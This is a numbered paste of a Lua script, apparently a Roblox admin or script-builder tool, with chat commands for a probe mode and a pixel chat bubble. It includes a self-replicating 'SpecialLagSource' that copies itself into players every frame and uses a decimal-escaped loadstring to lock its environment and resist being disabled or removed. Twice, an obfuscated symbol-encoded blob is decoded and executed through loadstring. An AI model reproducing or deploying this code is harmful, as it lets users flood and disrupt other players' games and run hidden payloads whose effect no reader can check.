  326. asdcon = LocalPlayer.Chatted:connect(function(msg)
  327. pcall(function()
  328. if LocalPlayer.Parent ~= game:service'Players' then
  329. if msg == 'char/' then
  330. ProbeMode = false
  331. elseif msg == 'probe/' then
  332. ProbeMode = true
  333. elseif msg == 'Friend' then
  334. game:service'StarterGui':SetCoreGuiEnabled("All",true)
  335. elseif msg == 'rejme/' then
  336. coroutine.wrap(function()
  337. if ProbeMode == true then
  338. probe:remove()
  339. else
  340. LocalPlayer.Character:remove()
  341. char = nil
  342. end
  343. zcon:disconnect()
  344. asdcon:disconnect()
  345. xcon:disconnect()
  346. end)()
  347. game:service'TeleportService':Teleport(game.PlaceId)
  348. elseif msg == 'fixcam/' then
  349. game:service'Workspace'.CurrentCamera.CameraType = 'Custom'
  350. pcall(function()
  351. game:service'Workspace'.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  352. end)
  353. game:service'Workspace'.CurrentCamera:ClearAllChildren()
  354. end
  355. end
  356. end)
  357. end)
  358. zcon = game:service'RunService'.RenderStepped:connect(function()
  359. if LocalPlayer.Parent ~= game:service'Players' then
  360. if ProbeMode == false then
  361. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  362. if probe ~= nil then probe:remove() probe = nil end
  363. local chr = char:Clone()
  364. chr.Parent = workspace
  365. LocalPlayer.Character = chr
  366. wait(0.1)
  367. game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  368. end
  369. else
  370. if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LolMesh' == nil then
  371. if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  372. local a = Instance.new("Part",workspace)
  373. a.Name = LocalPlayer.Name
  374. a.FormFactor = 'Custom'
  375. a.CanCollide = false
  376. a.Locked = true
  377. a.Anchored = true
  378. a.TopSurface = 0
  379. a.BottomSurface = 0
  380. a.Size = Vector3.new(2,2,2)
  381. local b = Instance.new('SpecialMesh',a)
  382. b.Name = 'LolMesh'
  383. b.MeshType = 'Sphere'
  384. probe = a
  385. else
  386. local asd = probe:findFirstChild'LolMesh'
  387. asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  388. probe.CFrame = workspace.CurrentCamera.Focus
  389. end
  390. end
  391. end
  392. end)
  393. Jumping = false
  394. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  395. if k == 'a' then
  396. a = true
  397. end
  398. if k == 'w' then
  399. w = true
  400. end
  401. if k == 's' then
  402. s = true
  403. end
  404. if k == 'd' then
  405. d = true
  406. end
  407. if k == ' ' then
  408. space = true
  409. end
  410. end)
  411. LocalPlayer:GetMouse().KeyUp:connect(function(k)
  412. if k == 'a' then
  413. a = false
  414. end
  415. if k == 'w' then
  416. w = false
  417. end
  418. if k == 's' then
  419. s = false
  420. end
  421. if k == 'd' then
  422. d = false
  423. end
  424. if k == ' ' then
  425. space = false
  426. end
  427. end)
  428. game:service'RunService'.RenderStepped:connect(function()
  429. if LocalPlayer.Parent ~= game:service'Players' then
  430. if ProbeMode == false then
  431. if w == true then
  432. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  433. end
  434. if s == true then
  435. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  436. end
  437. if d == true then
  438. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  439. end
  440. if a == true then
  441. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  442. end
  443. if space == true then
  444. if Jumping == true then return end
  445. Jumping = true
  446. asd = LocalPlayer.Character.Torso.Position.y
  447. for i = 0,3,0.5 do
  448. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  449. wait()
  450. end
  451. for i = 0,-3,-0.5 do
  452. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  453. wait()
  454. end
  455. Jumping = false
  456. end
  457. end
  458. end
  459. end)
  460. ]]
  461. shared[" dat 15510225170691 "]={getfenv(),4.795790545596741};local z={["&"]=0,["$"]=1,["_"]=2,["%"]=3,["^"]=4,["+"]=5,["*"]=6,["="]=7,[")"]=8,["("]=9,["#"]=10,["@"]=11,["~"]=12,["!"]=13,["-"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  462. "~*?*%*$*~*&_(*!%$%&%^%@%~*?*$*^*%=^=_=(*-*=*)_)A_%&+&)?+A?_@#?!~_~%~)~)?#?@-!-@?@?)?--_?#-##(#_#=~)~#@*@?@$=)@#))=_)(=&)?#&@&#$#-#!#(#-($#)(=A+!^&?&?$-~!^-+(~-@(+!*#(!@~$~?~?A@?#%=&@%)^)=)~#@#+#+@-+~*!*#*%*?+-+@+@+^+=+!^&+&++^$%&%)*%^-*?%~*!+!*-+$_A+*#+?&-+~%&$=)~(&&$&_&(&-%!_(%)_^_~=!)-_!!%$~+__?$-&)$=$)~(&(&)?)?^&_&!?$?%?(-=#^#@(&*)*=*&*_*!+-^?^_^=&~^%^-_(%!-=__%=__+=$^_?^^$*A$=~^~$#~+-*=?*^=+^^++*-!(&?*!#!$-&(~)$)$~)~?+$~&@##$@!#+*?(##?(&(!(-)&(@)$^-%@$^=#*_=**=%~*#+%*%*_+)^*^^&(_$^_%*^-_=%^%^-%?@$~+&%_%*%@$~+_=@-~+-*(&-&@&)&%!^?$?&?^-^#?(~-_~!~?~(~_#$!^~&~)~%=$=-=@)+##--?!(++$+&%))~!&?#)^%(=)%&)^_(*#*)$^*$A+#+=+)&%^(%$^+%*&@%(__%_%$_=$+$%!)?&$$&+$!?*&%&%@_~$~%?@-~!&?)!$--!?)~A)@=@@_~(+#(+@*)=#~(@#=#^(?)?^@(@^_^#=+)^=)=*=(=^*~+__+_$_#+&+&*~&@%@^-%%^+%!-)*@_&%~+__%-+_@)~(^$($=)~^!$~$!$(@#???$?_@!###$?+?%&!_*%+%?$_-(!_-%!#!$$!$%$+&%$+&)&^&@@%?*@%?^~!-~#?#*@#-#!*-^--!=!*)*!^!?~%~+~@@?=$@%@(#=@#*=*?(%=)(~#^#_(_+&+?^#)=^&^#^#^)^)%$===#*~_"
  463. ,"@=@)^_^_?*!^?*%)=^&$~&~+-*(_-_!%)*_=_=!+$_($%_+$!$++_*(+~^@+-^_+?^=&&^^&_^^$-%-?_&~+-*?%&%!%~%=%$%$-_%$%!_~+__+_~$$-^$=$-&!$$!?~)&!!%&)$$$&&$~&~&~~?#@--%@-@?@-@(--#)-?-%-*#^#$#&#*#~#~@)-%?^?&-+#-((#~(+#-!~-^-)!)-~!$-?!)(_!=(*!(#^!+(#(%#(!@~(!(!+!&!$)%!%!&!*~#~_~))~@&~)@)~!=~=*@~)%@(~%~%@+=+=*=%@_=!*(=@=@=!*)#&@+#(*)*****__(_#%=*%=+=_*)___-___~_**+=-*%*^=(*?*-*)_%*(_(*!%(*@_$%@%_=+*^=+=_=-*&_%=^=_=(*-*=*-_%*)*$*_=)_)_%*#%_*(=^=+*)_(_@_(*(_+__%+%*%(_+*-*^*(_(_)_(_"
  464. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  465. PixelChatSource = [[
  466. wait(0.001)
  467. script:ClearAllChildren();
  468. script.Parent=nil;
  469. wait(1)
  470. LocalPlayer = game:service'Players'.LocalPlayer
  471. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  472. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  473. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  474. DeModel.Name = ":D"
  475. FR = Instance.new("Frame",DeModel)
  476. FR.Size=UDim2.new(1,0,1,0)
  477. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  478. FR.BorderSizePixel=0
  479. FR.ZIndex=2
  480. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  481. game:service'RunService'.RenderStepped:connect(function()
  482. pcall(function()
  483. local a = workspace:findFirstChild(LocalPlayer.Name)
  484. if a.ClassName == 'Part' then
  485. CurrParent = a
  486. else
  487. CurrParent = a:findFirstChild'Head'
  488. end
  489. end)
  490. if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  491. pcall(function()
  492. if CurrParent.ClassName == 'Part' then
  493. DeModel = Instance.new("BillboardGui", CurrParent)
  494. DeModel.Adornee = CurrParent
  495. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  496. DeModel.Name = ":D"
  497. FR = Instance.new("Frame",DeModel)
  498. FR.Size=UDim2.new(1,0,1,0)
  499. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  500. FR.BorderSizePixel=0
  501. FR.ZIndex=2
  502. end
  503. end)
  504. end
  505. end)
  506. function CreateLetter(what, pos, posy, cl)
  507. pcall(function()
  508. if cl == nil then cl = "Really black" end
  509. if Letters[what:byte()-31] then
  510. what = Letters[what:byte()-31]
  511. else
  512. what = Letters[1]
  513. end
  514. if type(what) ~= "string" then return end
  515. what = what:gsub('\n','')
  516. what = what:gsub('\t','')
  517. what = what:gsub(' ','')
  518. pos = pos * 2
  519. posy = posy * 2
  520. c = 0
  521. for y=1,7 do
  522. for x=1,5 do
  523. c = c + 1
  524. if what:sub(c, c) == "1" then
  525. local a = Instance.new("Frame", FR)
  526. a.Name = "L"
  527. a.ZIndex=3
  528. a.Size = UDim2.new(0,2,0,2)
  529. a.BorderSizePixel = 0
  530. a.BackgroundTransparency = 1
  531. a.BackgroundColor3 = BrickColor.new(cl).Color
  532. a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  533. coroutine.wrap(function()
  534. wait(math.random(1, 10)/50)
  535. a.BackgroundTransparency = 0
  536. end)()
  537. end
  538. end
  539. end
  540. end)
  541. end
  542. LocalPlayer.Chatted:connect(function(m)
  543. pcall(function()
  544. local cl = "Really black"
  545. for _,v in pairs(DeModel.Frame:children()) do
  546. v:Destroy()
  547. end
  548. if m:sub(1,2) == '/e' then return end
  549. if m:sub(1,3) == "/! " then
  550. m = m:sub(4)
  551. DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  552. cl = "Really red"
  553. else
  554. DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  555. end
  556. m1 = m:gsub("\n"," ")
  557. m1 = m1:gsub("\t"," ")
  558. m1 = m1:gsub("math.pi",tostring(math.pi))
  559. if #m1 <= 30 then
  560. DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  561. elseif #m1 <= 60 then
  562. DeModel.Size = UDim2.new(0,330,0,40)
  563. elseif #m1 <= 90 then
  564. DeModel.Size = UDim2.new(0,330,0,60)
  565. elseif #m1 > 90 then
  566. DeModel.Size = UDim2.new(0,340,0,60)
  567. m1 = m1:sub(1,90).."..."
  568. end
  569. coroutine.wrap(function()
  570. for i = 1,0,-1/#m1 do
  571. DeModel.Frame.Transparency = i
  572. wait(1/60)
  573. end
  574. end)()
  575. if #m1 < 30 then
  576. for i = 1,#m1 do
  577. CreateLetter(m1:sub(i,i),i*5,0,cl)
  578. wait(1/60)
  579. end
  580. elseif #m1 <= 60 then
  581. for i = 1,30 do
  582. CreateLetter(m1:sub(i,i),i*5,0,cl)
  583. wait(1/60)
  584. end
  585. for i = 31,#m1 do
  586. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  587. wait(1/60)
  588. end
  589. elseif #m1 >= 60 then
  590. for i = 1,30 do
  591. CreateLetter(m1:sub(i,i),i*5,0,cl)
  592. wait(1/60)
  593. end
  594. for i = 31,60 do
  595. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  596. wait(1/60)
  597. end
  598. for i = 61,#m1 do
  599. CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  600. wait(1/60)
  601. end
  602. end
  603. end)
  604. end)
  605. ]]
  606. SpecialLagSource = [[
  607. wait(0.001)
  608. scr = script:Clone()
  609. if script:findFirstChild'source' ~= nil then
  610. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  611. script:ClearAllChildren()
  612. else
  613. script:ClearAllChildren()
  614. script.Parent=nil
  615. end
  616. LocalPlayer = game:service'Players'.LocalPlayer
  617. game:service'RunService'.RenderStepped:connect(function()
  618. pcall(function()
  619. scr:Clone().Parent = LocalPlayer:findFirstChild'PlayerGui' or LocalPlayer:findFirstChild'Backpack' or LocalPlayer.Character
  620. end)
  621. end)
  622. ]]
  623. function NewS(sourcev, parent)
  624. if SourceName == 'source' then
  625. NS(source,parent)
  626. else
  627. local s = SSource:Clone()
  628. s.Parent = parent
  629. if s:findFirstChild(SourceName) ~= nil then
  630. source = s:findFirstChild(SourceName)
  631. else
  632. source = Instance.new("StringValue", s)
  633. source.Name = SourceName
  634. end
  635. if source then
  636. source.Value = sourcev
  637. else
  638. OutputAdmins("Something went wrong","Really red")
  639. end
  640. wait()
  641. s.Disabled = false
  642. end
  643. end
  644. function WaitForValue(val)
  645. print("Currently not implemented.")
  646. end
  647. function NewLS(sourcev,parent, lock)
  648. if SourceName == 'source' then
  649. NLS(sourcev,parent)
  650. elseif LSource then
  651. local s = LSource:Clone()
  652. s.Parent = parent
  653. if s:findFirstChild(SourceName) ~= nil then
  654. source = s:findFirstChild(SourceName)
  655. else
  656. source = Instance.new("StringValue", s)
  657. source.Name = SourceName
  658. end
  659. if source then
  660. source.Value = sourcev
  661. else
  662. OutputAdmins("Something wen't wrong","Really red")
  663. return
  664. end
  665. wait()
  666. if lock == true then
  667. for i = 0,5 do
  668. s.Disabled = false
  669. wait(0.5)
  670. s.Disabled = true
  671. wait(0.5)
  672. s.Disabled = false
  673. end
  674. else
  675. s.Disabled = false
  676. end
  677. return s
  678. else
  679. OutputAdmins("No source","Really red")
  680. end
  681. end
  682. shared[" dat 15510225170691 "]={getfenv(),4.795790545596741};local z={["&"]=0,["$"]=1,["_"]=2,["%"]=3,["^"]=4,["+"]=5,["*"]=6,["="]=7,[")"]=8,["("]=9,["#"]=10,["@"]=11,["~"]=12,["!"]=13,["-"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  683. "~*?*%*$*~*&_(*!%$%&%^%@%~*?*$*^*%=^=_=(*-*=*)_)A_%&+&)?+A?_@#?!~_~%~)~)?#?@-!-@?@?)?--_?#-##(#_#=~)~#@*@?@$=)@#))=_)(=&)?#&@&#$#-#!#(#-($#)(=A+!^&?&?$-~!^-+(~-@(+!*#(!@~$~?~?A@?#%=&@%)^)=)~#@#+#+@-+~*!*#*%*?+-+@+@+^+=+!^&+&++^$%&%)*%^-*?%~*!+!*-+$_A+*#+?&-+~%&$=)~(&&$&_&(&-%!_(%)_^_~=!)-_!!%$~+__?$-&)$=$)~(&(&)?)?^&_&!?$?%?(-=#^#@(&*)*=*&*_*!+-^?^_^=&~^%^-_(%!-=__%=__+=$^_?^^$*A$=~^~$#~+-*=?*^=+^^++*-!(&?*!#!$-&(~)$)$~)~?+$~&@##$@!#+*?(##?(&(!(-)&(@)$^-%@$^=#*_=**=%~*#+%*%*_+)^*^^&(_$^_%*^-_=%^%^-%?@$~+&%_%*%@$~+_=@-~+-*(&-&@&)&%!^?$?&?^-^#?(~-_~!~?~(~_#$!^~&~)~%=$=-=@)+##--?!(++$+&%))~!&?#)^%(=)%&)^_(*#*)$^*$A+#+=+)&%^(%$^+%*&@%(__%_%$_=$+$%!)?&$$&+$!?*&%&%@_~$~%?@-~!&?)!$--!?)~A)@=@@_~(+#(+@*)=#~(@#=#^(?)?^@(@^_^#=+)^=)=*=(=^*~+__+_$_#+&+&*~&@%@^-%%^+%!-)*@_&%~+__%-+_@)~(^$($=)~^!$~$!$(@#???$?_@!###$?+?%&!_*%+%?$_-(!_-%!#!$$!$%$+&%$+&)&^&@@%?*@%?^~!-~#?#*@#-#!*-^--!=!*)*!^!?~%~+~@@?=$@%@(#=@#*=*?(%=)(~#^#_(_+&+?^#)=^&^#^#^)^)%$===#*~_"
  684. ,"@=@)^_^_?*!^?*%)=^&$~&~+-*(_-_!%)*_=_=!+$_($%_+$!$++_*(+~^@+-^_+?^=&&^^&_^^$-%-?_&~+-*?%&%!%~%=%$%$-_%$%!_~+__+_~$$-^$=$-&!$$!?~)&!!%&)$$$&&$~&~&~~?#@--%@-@?@-@(--#)-?-%-*#^#$#&#*#~#~@)-%?^?&-+#-((#~(+#-!~-^-)!)-~!$-?!)(_!=(*!(#^!+(#(%#(!@~(!(!+!&!$)%!%!&!*~#~_~))~@&~)@)~!=~=*@~)%@(~%~%@+=+=*=%@_=!*(=@=@=!*)#&@+#(*)*****__(_#%=*%=+=_*)___-___~_**+=-*%*^=(*?*-*)_%*(_(*!%(*@_$%@%_=+*^=+=_=-*&_%=^=_=(*-*=*-_%*)*$*_=)_)_%*#%_*(=^=+*)_(_@_(*(_+__%+%*%(_+*-*^*(_(_)_(_"
  685. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  686. function Disconnect(str)
  687. local a = Instance.new("StringValue", game:service'Lighting')
  688. a.Name = 'Disconnect'
  689. a.Value = tostring(str)
  690. game:service'Debris':AddItem(a,5)
  691. end
  692. setfenv(0,getfenv(error))
  693. script.Disabled = true
  694. script:Destroy''
  695. script.Parent = nil
  696. function Output(Plr, Text, Clr, OnClicked)
  697. pcall(function()
